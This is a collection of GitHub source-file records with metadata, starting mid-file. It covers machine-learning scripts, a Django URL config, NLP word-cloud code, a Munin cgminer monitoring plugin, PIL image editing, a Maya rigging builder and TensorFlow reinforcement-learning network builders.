xgb.XGBClassifier(\n objective = 'multi:softmax',\n num_class = 7,\n eval_metric = 'merror',\n eta = 0.15,\n max_depth = 10,\n n_estimators = 200,\n)\n\nparameters = {\n 'tree_method': ['exact', 'approx', 'hist', 'gpu_hist']\n}\n\ngrid_search = GridSearchCV(\n estimator = model,\n param_grid = parameters,\n scoring = 'f1_macro',\n n_jobs = -1,\n cv = 4,\n verbose = True,\n)\n\ngrid_search.fit(X, Y)\n\nprint(grid_search.best_params_)\n\n# Evaluación de las variables con unos parametros\ncolumns = 'X|Y|Q_R_4_0_0|Q_R_4_0_1|Q_R_4_0_2|Q_R_4_0_3|Q_R_4_0_4|Q_R_4_0_5|Q_R_4_0_6|Q_R_4_0_7|Q_R_4_0_8|Q_R_4_0_9|Q_R_4_1_0|Q_G_3_0_0|Q_G_3_0_1|Q_G_3_0_2|Q_G_3_0_3|Q_G_3_0_4|Q_G_3_0_5|Q_G_3_0_6|Q_G_3_0_7|Q_G_3_0_8|Q_G_3_0_9|Q_G_3_1_0|Q_B_2_0_0|Q_B_2_0_1|Q_B_2_0_2|Q_B_2_0_3|Q_B_2_0_4|Q_B_2_0_5|Q_B_2_0_6|Q_B_2_0_7|Q_B_2_0_8|Q_B_2_0_9|Q_B_2_1_0|Q_NIR_8_0_0|Q_NIR_8_0_1|Q_NIR_8_0_2|Q_NIR_8_0_3|Q_NIR_8_0_4|Q_NIR_8_0_5|Q_NIR_8_0_6|Q_NIR_8_0_7|Q_NIR_8_0_8|Q_NIR_8_0_9|Q_NIR_8_1_0|AREA|GEOM_R1|GEOM_R2|GEOM_R3|GEOM_R4|CONTRUCTIONYEAR|MAXBUILDINGFLOOR|CADASTRALQUALITYID_00|CADASTRALQUALITYID_01|CADASTRALQUALITYID_02|CADASTRALQUALITYID_03|CADASTRALQUALITYID_04|CADASTRALQUALITYID_05|CADASTRALQUALITYID_06|CADASTRALQUALITYID_07|CADASTRALQUALITYID_08|CADASTRALQUALITYID_09|CADASTRALQUALITYID_10|CADASTRALQUALITYID_11|CADASTRALQUALITYID_12'.split('|')\nvar_inf = pd.DataFrame({\n 'Variable': columns,\n 'Importance': grid_search.best_estimator_.feature_importances_\n }).sort_values('Importance', ascending = False)\n\nprint(var_inf)","repo_name":"Polaryti/UniversityHack-2020","sub_path":"Fase II/xgboost_MARIO.py","file_name":"xgboost_MARIO.py","file_ext":"py","file_size_in_byte":5902,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"73198671607","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.Inicio, name='inicio'),\n path('login', views.Login, name='login'),\n path('borrar', views.Edit_borrar, name='borrar'),\n path('inscribirse', views.Inscribirse, name='inscribirse'),\n path('Borrar', views.Borrar, name='Borrar'),\n path('inicio', views.Inicio, name='inicio'),\n path('edit', views.Edit, name='edit'),\n]","repo_name":"minticE6/exonews","sub_path":"system/libreria/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"19039986127","text":"\"\"\"\r\nCreated on Sun March 17, 2019\r\n\r\n@title : Media and Web Analytics\r\n@Group : 2 - (Chen Wan Ju, Sweetie Anang, Gandes Aisyaharum, Nessya Callista, Mirza Miftanula)\r\n@author: Nessya Callista\r\n@Obj : Topic / Feature Extraction\r\n\r\n\"\"\"\r\n\r\nimport nltk\r\nimport spacy\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pprint\r\nspacy.load('en_core_web_sm')\r\nfrom spacy.lang.en import English\r\nimport nltk\r\nfrom nltk.corpus import wordnet as wn\r\nfrom nltk.stem import WordNetLemmatizer\r\nfrom nltk.corpus import sentiwordnet as swn\r\nfrom nltk.sentiment.vader import SentimentIntensityAnalyzer as SIA\r\nfrom nltk.tokenize import sent_tokenize\r\nfrom sklearn.feature_extraction.text import TfidfVectorizer\r\nfrom sklearn.cluster import KMeans\r\nfrom sklearn.metrics import adjusted_rand_score\r\nfrom os import path\r\nfrom PIL import Image\r\nfrom wordcloud import WordCloud, STOPWORDS, ImageColorGenerator\r\nimport pandas as pd\r\nparser = English()\r\n\r\n#nltk.download('stopwords')\r\nen_stop = set(nltk.corpus.stopwords.words('english'))\r\n#print (en_stop)\r\n\r\n#create function to clean the reviews from stopwords, puntuaction, the words that have less affection to create the topic\r\n#get a lemma for each token\r\n\r\nstopwords = ['currys','curry','son','pc','world','pet','hair','smell','u','fridge','today','actually','child','school'\r\n'christmas','animal','dog','cat','hi','really','sorry','dm','apology','store','please','carrie','thank','thanks']\r\n\r\ndef prepare_text_for_process(text):\r\n wn_lem = WordNetLemmatizer()\r\n tokens = nltk.word_tokenize(text)\r\n tokens = [token for token in tokens if len(token) > 4]\r\n tokens = [token for token in tokens if token.isalpha()]\r\n tokens = [token for token in tokens if token not in en_stop]\r\n tokens = [wn_lem.lemmatize(token) for token in tokens]\r\n for word in stopwords:\r\n tokens = [token for token in tokens if token.lower() != word]\r\n return tokens\r\n\r\n\r\n\r\n\r\nreview_filename = r'C:\\Users\\R\\Desktop\\FB_Sen.xlsx'\r\nreview_sheetname = 'FB'\r\nreview_FB = pd.ExcelFile(review_filename)\r\nf = review_FB.parse(review_sheetname)\r\n\r\n#set the starting value used in generating random number\r\nimport random\r\nrandom.seed(3)\r\n\r\ntext_neg = []\r\ntext_pos = []\r\ntext_neu = []\r\n\r\nneg_tweets=[]\r\npos_tweets=[]\r\nneu_tweets=[]\r\n\r\n#read the file of the reviews\r\ni=0\r\nj=0\r\nk=0\r\nl=0\r\nfor x in f['Vader_Label']:\r\n if (f['Vader_Label'][l] == \"Negative\"):\r\n neg_tweets.append(f['Comment'][l])\r\n #print(\"Tweet : \"+str(neg_tweets[i])+\" , Category : \"+str(f['Vader_Label'][l]))\r\n #i=i+1\r\n elif (f['Vader_Label'][l] == \"Positive\"):\r\n pos_tweets.append(f['Comment'][l])\r\n #print(\"Tweet : \"+str(pos_tweets[j])+\" , Category : \"+str(f['Vader_Label'][l]))\r\n #j=j+1\r\n else:\r\n neu_tweets.append(f['Comment'][l])\r\n #print(\"Tweet : \"+str(neu_tweets[k])+\" , Category : \"+str(f['Vader_Label'][l]))\r\n #k=k+1\r\n l=l+1\r\n\r\nfor line in neg_tweets:\r\n #print(line)\r\n tokens = prepare_text_for_process(line)\r\n #print(\"tokens\", tokens)\r\n #if random.random() > .99:\r\n #print(\"after random\", tokens, \"\\n\")\r\n text_neg.append(tokens)\r\n\r\nfor linepos in pos_tweets:\r\n #print(line)\r\n tokens = prepare_text_for_process(linepos)\r\n #print(\"tokens\", tokens)\r\n #if random.random() > .99:\r\n #print(\"after random\", tokens, \"\\n\")\r\n text_pos.append(tokens)\r\n\r\n#print(text_neg)\r\n\r\n#display the wordcloud from all reviews\r\nneg_cleans = [' '.join(x) for x in text_neg] \r\ndf_FB_neg= pd.DataFrame()\r\nnc = [' '.join(neg_cleans)]\r\nprint(\"Word Cloud - All Neg FB comments\")\r\nwnc = WordCloud(background_color='white').generate(str(nc))\r\nprint(rev_cleans)\r\nprint(rev_cleans[4])\r\nplt.imshow(wnc, interpolation='bilinear')\r\nplt.axis(\"off\")\r\nplt.show()\r\n\r\n# Positice\r\npos_cleans = [' '.join(x) for x in text_pos] \r\ndf_FB_pos= pd.DataFrame()\r\npc = [' '.join(pos_cleans)]\r\nprint(\"Word Cloud - All Positive FB comments\")\r\nwpc = WordCloud(background_color='white').generate(str(pc))\r\n#print(rev_cleans)\r\n#print(rev_cleans[4])\r\nplt.imshow(wpc, interpolation='bilinear')\r\nplt.axis(\"off\")\r\nplt.show()\r\n\r\n","repo_name":"CWJ-K/App_Recommendation","sub_path":"main/FB_test_wordcloud.py","file_name":"FB_test_wordcloud.py","file_ext":"py","file_size_in_byte":4088,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"25540917198","text":"import os\nfrom solvers import solve_heat_equation, post_process_and_save_he, solve_allen_cahn, post_process_and_save_ac\nimport fire\n\nclass RunSimulations():\n\n def __init__(self, results_dir = None):\n\n if not(results_dir):\n self._results_dir = './data'\n else:\n self._results_dir = results_dir\n\n def solve_heat_equation(self, nsamples, plot = False, dt = 1e-4, T_dt = 400, initial_conditions = \"rectangles\"):\n\n save_dir = os.path.join(self._results_dir,\"HE\")\n\n for sample in range(nsamples):\n\n name_simulation = initial_conditions+\"{}_dt_{}_{}\".format(sample,\n str(dt).replace(\"-\",\"m\"),\n str(T_dt).replace(\".\",\"p\"))\n\n sols = solve_heat_equation(dt = dt, T_dt = T_dt,\n initial_condition = initial_conditions\n )\n\n post_process_and_save_he(sols, results_dir = save_dir, save_plots = plot,\n name_simulation = name_simulation)\n\n def solve_allen_cahn(self, nsamples, plot = False, n_elements = 60, T_dt = 200, ratio_speed = 10, eps = 0.01, save_dir = \"AC\",\n initial_conditions = \"random\", duration = 0.05):\n\n save_dir = os.path.join(self._results_dir,save_dir)\n\n for sample in range(nsamples):\n\n name_simulation = initial_conditions+\"{}_eps_{}_{}\".format(sample,\n str(eps).replace(\"-\",\"m\"),\n str(T_dt).replace(\".\",\"p\"))\n\n sols = solve_allen_cahn(eps = eps, T_dt = T_dt, ratio_speed = ratio_speed,\n\n\n initial_conditions = initial_conditions, n_elements = n_elements\n )\n\n post_process_and_save_ac(sols, results_dir = save_dir, save_plots = plot,\n name_simulation = name_simulation, duration = duration)\n\n\n\n\n\n\nif __name__ == \"__main__\":\n fire.Fire(RunSimulations)\n","repo_name":"jaimelopezgarcia/seminar_DL4pdes","sub_path":"make_data.py","file_name":"make_data.py","file_ext":"py","file_size_in_byte":2217,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"77"} +{"seq_id":"7584970761","text":"#!/usr/bin/env python\n\nfrom munin import MuninPlugin\nfrom cgminer import api\nimport json\nimport urllib2\n\nclass BitHopperStat(MuninPlugin):\n title = \"BitHopper Mining Status\"\n category = \"bitcoin\"\n args = \"--base 1000 -l 0\"\n vlabel = \"Mhash/s\"\n info = \"This graph shows the current mining speed of a local BitHopper server.\"\n fields = (('rate', dict(label=\"rate\",\n info=\"Current mining speed (5s)\",\n type=\"GAUGE\")),\n ('rate_av', dict(label=\"rate_avg\",\n info=\"Current mining speed (avg)\",\n type=\"GAUGE\")),\n )\n \n machines = [api.Machine('192.168.1.101', 4028),\n api.Machine('192.168.1.102', 4028), ]\n\n\n def __init__(self):\n super(BitHopperStat, self).__init__()\n\n def execute(self):\n mhs_total = 0.0\n mhs_av_total = 0.0 \n for m in self.machines:\n try:\n for g in m.call('devs')['DEVS']:\n mhs_total += g['MHS 5s']\n mhs_av_total += g['MHS av']\n except IOError:\n pass\n# mhs_total *= 1024\n# mhs_av_total *= 1024 \n return dict(rate=mhs_total, rate_av=mhs_av_total)\n\n def autoconf(self):\n return True\n\nif __name__ == \"__main__\":\n BitHopperStat().run()\n\n","repo_name":"lueo/bitmunit","sub_path":"bitmunit/bhstat.py","file_name":"bhstat.py","file_ext":"py","file_size_in_byte":1387,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"77"} +{"seq_id":"73780311609","text":"# def level(name):\n# if name not in d:\n# return 0 # если имени нет в детях - вернуть 0\n# return 1 + level(d[name]) # иначе: вернуть 1+функция от родителя имени\n# d = {}\n# S=set()\n# for i in range(int(input()) - 1):\n# s = input().split()\n# d[s[0]] = s[1] # ребенок - родитель\n# S.update(s)\n# # print(d)\n# # print(S)\n# # for i in sorted(set(d.keys()) | set(d.values())):\n# for name in sorted(S):\n# print(name, level(name))\n\n# d, s = {}, set()\n# for _ in range(int(input())-1):\n# child, parent = input().split()\n# d[child] = d.get(child, '') + parent\n# s.add(parent)\n# s.add(child)\n# # print(d)\n# for c in sorted(list(s)):\n# count=0\n# child=c\n# while child in d.keys():\n# child=d[child]\n# count+=1\n# print(c, count)\n\nd = {}\nfor _ in range(int(input()) - 1):\n child, parent = input().split()\n d.setdefault(parent, '')\n d[child] = parent\nprint(d)\nfor child in sorted(d):\n parent = d[child]\n level = 0\n while parent:\n level += 1\n parent = d[parent]\n print(child, level)","repo_name":"LarisaFonareva/Dictionaries","sub_path":"2.18_Genealogy_levels_counting.py","file_name":"2.18_Genealogy_levels_counting.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"23802332587","text":"from PIL import Image, ImageEnhance, ImageFilter, ImageDraw, ImageFont\nimport os\n\npath = 'C:\\\\Users\\\\noahm\\\\Pictures\\\\pyImages'\npathOut = \"C:\\\\Users\\\\noahm\\\\Pictures\\\\modPyImages\"\n\ntext_font = (ImageFont.FreeTypeFont)\n\nfor filename in os.listdir(path):\n img = Image.open(f\"{path}\\{filename}\")\n\n edit = img.filter(ImageFilter.SHARPEN).convert('L')\n \n text_edit = ImageDraw.Draw(edit)\n text_edit.text((100, 100), \"Bob Burger\", (\"black\"))\n\n clean_name = os.path.splitext(filename)[0]\n\n edit.save(f'{pathOut}\\{clean_name}_edited.jpg')","repo_name":"noahmcatee/python_projects","sub_path":"photo_editor.py","file_name":"photo_editor.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"36026666255","text":"import sys\nimport maya.cmds as mc\nimport pymel.core as pm\nimport maya.OpenMaya as om\nimport os\nimport shutil\nimport json\n#\nfrom colt_rigging_tool.engine.utils import tools, controls_info\nfrom colt_rigging_tool.engine.setups.modules import structure\nfrom colt_rigging_tool.engine.setups.bodyParts.body import arms, legs\nfrom colt_rigging_tool.engine.asset.deformation import deformModule\n#\nreload(tools)\nreload(structure)\nreload(arms)\nreload(legs)\nreload(deformModule)\nreload(controls_info)\n\n\n###################################################################################################\n# GLOBALS:\nCURRENT_RIG = None\nASSET = None\n###################################################################################################\n# GLOBALS\nBUILDER_SCENE_PATH = r\"C:\\Users\\colt-desk\\Desktop\\biped_2019\\biped\\scenes\"\n# CONTROLS_DATA_PATH = r\"C:\\Users\\colt-desk\\Desktop\\Salle\\2019\\Abril\\II entrega\\mech_project\\data\\builder\\controls\"\n###################################################################################################\n#\n#\n\ndef initChar(asset_name=None, debug = 1):\n\n if asset_name is None:\n return\n\n # Open latest builder file\n latest_builder = tools.get_last_file_version(BUILDER_SCENE_PATH, \"biped_000\", incremental=False)\n builder_path = os.path.join(BUILDER_SCENE_PATH, latest_builder)\n\n if not os.path.exists(builder_path):\n mc.error(\"Builder path doesn't exist\")\n return\n\n mc.file(new=True, f=True)\n mc.file(builder_path, open=True, f=True)\n mc.viewFit()\n\n # INFO ######################################################################\n\n\n\n # build rig #################################################################\n for side in \"LR\":\n clavicle_joint = \"{}_clavicle_JNT\".format(side)\n hand_joint = \"{}_hand_JNT\".format(side)\n #\n arm = arms.Arm(armJoint=clavicle_joint, scaleFK=8)\n arm.build(hand_join=hand_joint)\n #\n #\n upperLeg_joint = \"{}_upperLeg_JNT\".format(side)\n leg = legs.Leg(legJoint=upperLeg_joint, scaleFK=8)\n leg.build()\n\n\n #\n # DONE!\n sys.stdout.write(\"\\n {} builder operation successfully done \\n\".format(asset_name))\n mc.select(clear=True)\n\n\n######################################################################################################\n\n######################################################################################################\n# INIT\ninitChar(asset_name=\"biped\", debug = 1)\n","repo_name":"nestorcolt/ColtRiggingTool","sub_path":"colt_rigging_tool/engine/builds/salleBiped/body.py","file_name":"body.py","file_ext":"py","file_size_in_byte":2472,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"73721787128","text":"import tensorflow as tf\nimport numpy as np\nfrom rl_games.algos_tf14 import networks\nfrom rl_games.common import object_factory\n\ndef normc_initializer(std=1.0):\n def _initializer(shape, dtype=None, partition_info=None):\n out = np.random.randn(*shape).astype(np.float32)\n out *= std / np.sqrt(np.square(out).sum(axis=0, keepdims=True))\n return tf.constant(out)\n return _initializer\n\nclass NetworkBuilder:\n def __init__(self, **kwargs):\n self.activations_factory = object_factory.ObjectFactory()\n self.activations_factory.register_builder('relu', lambda **kwargs : tf.nn.relu)\n self.activations_factory.register_builder('tanh', lambda **kwargs : tf.nn.tanh)\n self.activations_factory.register_builder('sigmoid', lambda **kwargs : tf.nn.sigmoid)\n self.activations_factory.register_builder('elu', lambda **kwargs : tf.nn.elu)\n self.activations_factory.register_builder('selu', lambda **kwargs : tf.nn.selu)\n self.activations_factory.register_builder('softplus', lambda **kwargs : tf.nn.softplus)\n self.activations_factory.register_builder('None', lambda **kwargs : None)\n\n self.init_factory = object_factory.ObjectFactory()\n self.init_factory.register_builder('normc_initializer', lambda **kwargs : normc_initializer(**kwargs))\n self.init_factory.register_builder('const_initializer', lambda **kwargs : tf.constant_initializer(**kwargs))\n self.init_factory.register_builder('orthogonal_initializer', lambda **kwargs : tf.orthogonal_initializer(**kwargs))\n self.init_factory.register_builder('glorot_normal_initializer', lambda **kwargs : tf.glorot_normal_initializer(**kwargs))\n self.init_factory.register_builder('glorot_uniform_initializer', lambda **kwargs : tf.glorot_uniform_initializer(**kwargs))\n self.init_factory.register_builder('variance_scaling_initializer', lambda **kwargs : tf.variance_scaling_initializer(**kwargs))\n self.init_factory.register_builder('random_uniform_initializer', lambda **kwargs : tf.random_uniform_initializer(**kwargs))\n\n self.init_factory.register_builder('None', lambda **kwargs : None)\n\n self.regularizer_factory = object_factory.ObjectFactory()\n self.regularizer_factory.register_builder('l1_regularizer', lambda **kwargs : tf.contrib.layers.l1_regularizer(**kwargs))\n self.regularizer_factory.register_builder('l2_regularizer', lambda **kwargs : tf.contrib.layers.l2_regularizer(**kwargs))\n self.regularizer_factory.register_builder('l1l2_regularizer', lambda **kwargs : tf.contrib.layers.l1l2_regularizer(**kwargs))\n self.regularizer_factory.register_builder('None', lambda **kwargs : None)\n\n def load(self, params):\n pass\n\n def build(self, name, **kwargs):\n pass\n\n def __call__(self, name, **kwargs):\n return self.build(name, **kwargs)\n\n def _noisy_dense(self, inputs, units, activation, kernel_initializer, kernel_regularizer, name):\n return networks.noisy_dense(inputs, units, name, True, activation)\n\n def _build_mlp(self, \n name, \n input, \n units, \n activation, \n initializer, \n regularizer, \n norm_func_name = None, \n dense_func = tf.layers.dense,\n is_train=True):\n out = input\n ind = 0\n for unit in units:\n ind += 1\n out = dense_func(out, units=unit, \n activation=self.activations_factory.create(activation), \n kernel_initializer = self.init_factory.create(**initializer), \n kernel_regularizer = self.regularizer_factory.create(**regularizer),\n #bias_initializer=tf.random_uniform_initializer(-0.1, 0.1),\n name=name + str(ind))\n if norm_func_name == 'layer_norm':\n out = tf.contrib.layers.layer_norm(out)\n elif norm_func_name == 'batch_norm':\n out = tf.layers.batch_normalization(out, training=is_train) \n\n return out\n\n def _build_lstm(self, name, input, units, batch_num, games_num):\n dones_ph = tf.placeholder(tf.float32, [batch_num])\n states_ph = tf.placeholder(tf.float32, [games_num, 2*units])\n lstm_out, lstm_state, initial_state = networks.openai_lstm(name, input, dones_ph=dones_ph, states_ph=states_ph, units=units, env_num=games_num, batch_num=batch_num)\n return lstm_out, lstm_state, initial_state, dones_ph, states_ph\n\n def _build_lstm2(self, name, inputs, units, batch_num, games_num):\n dones_ph = tf.placeholder(tf.bool, [batch_num])\n states_ph = tf.placeholder(tf.float32, [games_num, 2*units])\n hidden = tf.concat((inputs[0], inputs[1]), axis=1)\n lstm_out, lstm_state, initial_state = networks.openai_lstm(name, hidden, dones_ph=dones_ph, states_ph=states_ph, units=units, env_num=games_num, batch_num=batch_num)\n #lstm_outa, lstm_outc = tf.split(lstm_out, 2, axis=1)\n return lstm_out, lstm_state, initial_state, dones_ph, states_ph\n\n def _build_lstm_sep(self, name, inputs, units, batch_num, games_num):\n dones_ph = tf.placeholder(tf.bool, [batch_num], name='lstm_masks')\n states_ph = tf.placeholder(tf.float32, [games_num, 4*units], name='lstm_states')\n statesa, statesc = tf.split(states_ph, 2, axis=1)\n a_out, lstm_statea, initial_statea = networks.openai_lstm(name +'a', inputs[0], dones_ph=dones_ph, states_ph=statesa, units=units, env_num=games_num, batch_num=batch_num)\n c_out, lstm_statec, initial_statec = networks.openai_lstm(name + 'c', inputs[1], dones_ph=dones_ph, states_ph=statesc, units=units, env_num=games_num, batch_num=batch_num)\n lstm_state = tf.concat([lstm_statea, lstm_statec], axis=1)\n initial_state = np.concatenate([initial_statea, initial_statec], axis=1)\n #lstm_outa, lstm_outc = tf.split(lstm_out, 2, axis=1)\n return a_out, c_out, lstm_state, initial_state, dones_ph, states_ph\n\n def _build_conv(self, ctype, **kwargs):\n print('conv_name:', ctype)\n\n if ctype == 'conv2d':\n return self._build_cnn(**kwargs)\n if ctype == 'conv1d':\n return self._build_cnn1d(**kwargs)\n\n def _build_cnn(self, name, input, convs, activation, initializer, regularizer, norm_func_name=None, is_train=True):\n out = input\n ind = 0\n for conv in convs:\n print(out.shape.as_list())\n ind += 1\n config = conv.copy()\n config['filters'] = conv['filters']\n config['padding'] = conv['padding']\n config['kernel_size'] = [conv['kernel_size']] * 2\n config['strides'] = [conv['strides']] * 2\n config['activation'] = self.activations_factory.create(activation)\n config['kernel_initializer'] = self.init_factory.create(**initializer)\n config['kernel_regularizer'] = self.regularizer_factory.create(**regularizer)\n config['name'] = name + str(ind)\n out = tf.layers.conv2d(inputs=out, **config)\n if norm_func_name == 'layer_norm':\n out = tf.contrib.layers.layer_norm(out)\n elif norm_func_name == 'batch_norm':\n out = tf.layers.batch_normalization(out, name='bn_'+ config['name'], training=is_train) \n return out\n\n def _build_cnn1d(self, name, input, convs, activation, initializer, regularizer, norm_func_name=None, is_train=True):\n out = input\n ind = 0\n print('_build_cnn1d')\n for conv in convs:\n ind += 1\n config = conv.copy()\n config['activation'] = self.activations_factory.create(activation)\n config['kernel_initializer'] = self.init_factory.create(**initializer)\n config['kernel_regularizer'] = self.regularizer_factory.create(**regularizer)\n config['name'] = name + str(ind)\n #config['bias_initializer'] = tf.random_uniform_initializer,\n # bias_initializer=tf.random_uniform_initializer(-0.1, 0.1)\n out = tf.layers.conv1d(inputs=out, **config)\n print('shapes of layer_' + str(ind), str(out.get_shape().as_list()))\n if norm_func_name == 'layer_norm':\n out = tf.contrib.layers.layer_norm(out)\n elif norm_func_name == 'batch_norm':\n out = tf.layers.batch_normalization(out, training=is_train) \n return out\n\nclass A2CBuilder(NetworkBuilder):\n def __init__(self, **kwargs):\n NetworkBuilder.__init__(self)\n\n def load(self, params):\n self.separate = params['separate']\n self.units = params['mlp']['units']\n self.activation = params['mlp']['activation']\n self.initializer = params['mlp']['initializer']\n self.regularizer = params['mlp']['regularizer']\n self.is_discrete = 'discrete' in params['space']\n self.is_continuous = 'continuous'in params['space']\n self.value_activation = params.get('value_activation', 'None')\n self.normalization = params.get('normalization', None)\n self.has_lstm = 'lstm' in params\n\n if self.is_continuous:\n self.space_config = params['space']['continuous']\n elif self.is_discrete:\n self.space_config = params['space']['discrete']\n \n if self.has_lstm:\n self.lstm_units = params['lstm']['units']\n self.concated = params['lstm']['concated']\n\n if 'cnn' in params:\n self.has_cnn = True\n self.cnn = params['cnn']\n else:\n self.has_cnn = False\n\n def build(self, name, **kwargs):\n actions_num = kwargs.pop('actions_num')\n input = kwargs.pop('inputs')\n reuse = kwargs.pop('reuse')\n batch_num = kwargs.pop('batch_num', 1)\n games_num = kwargs.pop('games_num', 1)\n is_train = kwargs.pop('is_train', True)\n with tf.variable_scope(name, reuse=reuse): \n actor_input = critic_input = input\n if self.has_cnn:\n cnn_args = {\n 'name' :'actor_cnn', \n 'ctype' : self.cnn['type'], \n 'input' : input, \n 'convs' :self.cnn['convs'], \n 'activation' : self.cnn['activation'], \n 'initializer' : self.cnn['initializer'], \n 'regularizer' : self.cnn['regularizer'],\n 'norm_func_name' : self.normalization,\n 'is_train' : is_train\n }\n actor_input = self._build_conv(**cnn_args)\n actor_input = tf.contrib.layers.flatten(actor_input)\n critic_input = actor_input\n\n if self.separate:\n cnn_args['name'] = 'critic_cnn' \n critic_input = self._build_conv( **cnn_args)\n critic_input = tf.contrib.layers.flatten(critic_input)\n\n mlp_args = {\n 'name' :'actor_fc', \n 'input' : actor_input, \n 'units' :self.units, \n 'activation' : self.activation, \n 'initializer' : self.initializer, \n 'regularizer' : self.regularizer,\n 'norm_func_name' : self.normalization,\n 'is_train' : is_train \n }\n out_actor = self._build_mlp(**mlp_args)\n\n if self.separate:\n mlp_args['name'] = 'critic_fc'\n mlp_args['input'] = critic_input\n out_critic = self._build_mlp(**mlp_args)\n if self.has_lstm:\n if self.concated:\n out_actor, lstm_state, initial_state, dones_ph, states_ph = self._build_lstm2('lstm', [out_actor, out_critic], self.lstm_units, batch_num, games_num)\n out_critic = out_actor\n else:\n out_actor, out_critic, lstm_state, initial_state, dones_ph, states_ph = self._build_lstm_sep('lstm_', [out_actor, out_critic], self.lstm_units, batch_num, games_num)\n\n else:\n if self.has_lstm:\n out_actor, lstm_state, initial_state, dones_ph, states_ph = self._build_lstm('lstm', out_actor, self.lstm_units, batch_num, games_num)\n\n out_critic = out_actor\n\n \n value = tf.layers.dense(out_critic, units = 1, kernel_initializer = self.init_factory.create(**self.initializer), activation=self.activations_factory.create(self.value_activation), name='value') \n\n if self.is_continuous:\n mu = tf.layers.dense(out_actor, units = actions_num, activation=self.activations_factory.create(self.space_config['mu_activation']), \n kernel_initializer = self.init_factory.create(**self.space_config['mu_init']), name='mu')\n\n if self.space_config['fixed_sigma']:\n sigma_out = tf.get_variable(name='sigma_out', shape=(actions_num), initializer=self.init_factory.create(**self.space_config['sigma_init']), trainable=True)\n\n else:\n sigma_out = tf.layers.dense(out_actor, units = actions_num, kernel_initializer=self.init_factory.create(**self.space_config['sigma_init']), activation=self.activations_factory.create(self.space_config['sigma_activation']), name='sigma_out')\n\n if self.has_lstm:\n return mu, mu * 0 + sigma_out, value, states_ph, dones_ph, lstm_state, initial_state\n return mu, mu * 0 + sigma_out, value\n\n if self.is_discrete:\n logits = tf.layers.dense(inputs=out_actor, units=actions_num, name='logits', kernel_initializer = self.init_factory.create(**self.initializer))\n \n if self.has_lstm:\n return logits, value, states_ph, dones_ph, lstm_state, initial_state\n return logits, value\n\n\nclass DQNBuilder(NetworkBuilder):\n def __init__(self, **kwargs):\n NetworkBuilder.__init__(self)\n\n def load(self, params):\n self.units = params['mlp']['units']\n self.activation = params['mlp']['activation']\n self.initializer = params['mlp']['initializer']\n self.regularizer = params['mlp']['regularizer'] \n self.is_dueling = params['dueling']\n self.atoms = params['atoms']\n self.is_noisy = params['noisy']\n self.normalization = params.get('normalization', None)\n if 'cnn' in params:\n self.has_cnn = True\n self.cnn = params['cnn']\n else:\n self.has_cnn = False\n\n def build(self, name, **kwargs):\n actions_num = kwargs.pop('actions_num')\n input = kwargs.pop('inputs')\n reuse = kwargs.pop('reuse')\n is_train = kwargs.pop('is_train', True)\n if self.is_noisy:\n dense_layer = self._noisy_dense\n else:\n dense_layer = tf.layers.dense\n with tf.variable_scope(name, reuse=reuse): \n out = input\n if self.has_cnn:\n cnn_args = {\n 'name' :'dqn_cnn',\n 'ctype' : self.cnn['type'], \n 'input' : input, \n 'convs' :self.cnn['convs'], \n 'activation' : self.cnn['activation'], \n 'initializer' : self.cnn['initializer'], \n 'regularizer' : self.cnn['regularizer'],\n 'norm_func_name' : self.normalization,\n 'is_train' : is_train\n }\n out = self._build_conv(**cnn_args)\n out = tf.contrib.layers.flatten(out)\n\n mlp_args = {\n 'name' :'dqn_mlp', \n 'input' : out, \n 'activation' : self.activation, \n 'initializer' : self.initializer, \n 'regularizer' : self.regularizer,\n 'norm_func_name' : self.normalization,\n 'is_train' : is_train,\n 'dense_func' : dense_layer \n }\n if self.is_dueling:\n if len(self.units) > 1:\n mlp_args['units'] = self.units[:-1]\n out = self._build_mlp(**mlp_args)\n hidden_value = dense_layer(inputs=out, units=self.units[-1], kernel_initializer = self.init_factory.create(**self.initializer), activation=self.activations_factory.create(self.activation), kernel_regularizer = self.regularizer_factory.create(**self.regularizer), name='hidden_val')\n hidden_advantage = dense_layer(inputs=out, units=self.units[-1], kernel_initializer = self.init_factory.create(**self.initializer), activation=self.activations_factory.create(self.activation), kernel_regularizer = self.regularizer_factory.create(**self.regularizer), name='hidden_adv')\n\n value = dense_layer(inputs=hidden_value, units=self.atoms, kernel_initializer = self.init_factory.create(**self.initializer), activation=tf.identity, kernel_regularizer = self.regularizer_factory.create(**self.regularizer), name='value')\n advantage = dense_layer(inputs=hidden_advantage, units= actions_num * self.atoms, kernel_initializer = self.init_factory.create(**self.initializer), kernel_regularizer = self.regularizer_factory.create(**self.regularizer), activation=tf.identity, name='advantage')\n advantage = tf.reshape(advantage, shape = [-1, actions_num, self.atoms])\n value = tf.reshape(value, shape = [-1, 1, self.atoms])\n q_values = value + advantage - tf.reduce_mean(advantage, reduction_indices=1, keepdims=True)\n else:\n mlp_args['units'] = self.units\n out = self._build_mlp('dqn_mlp', out, self.units, self.activation, self.initializer, self.regularizer)\n q_values = dense_layer(inputs=out, units=actions_num *self.atoms, kernel_initializer = self.init_factory.create(**self.initializer), kernel_regularizer = self.regularizer_factory.create(**self.regularizer), activation=tf.identity, name='q_vals')\n q_values = tf.reshape(q_values, shape = [-1, actions_num, self.atoms])\n\n if self.atoms == 1:\n return tf.squeeze(q_values)\n else:\n return q_values\n\n\n\n 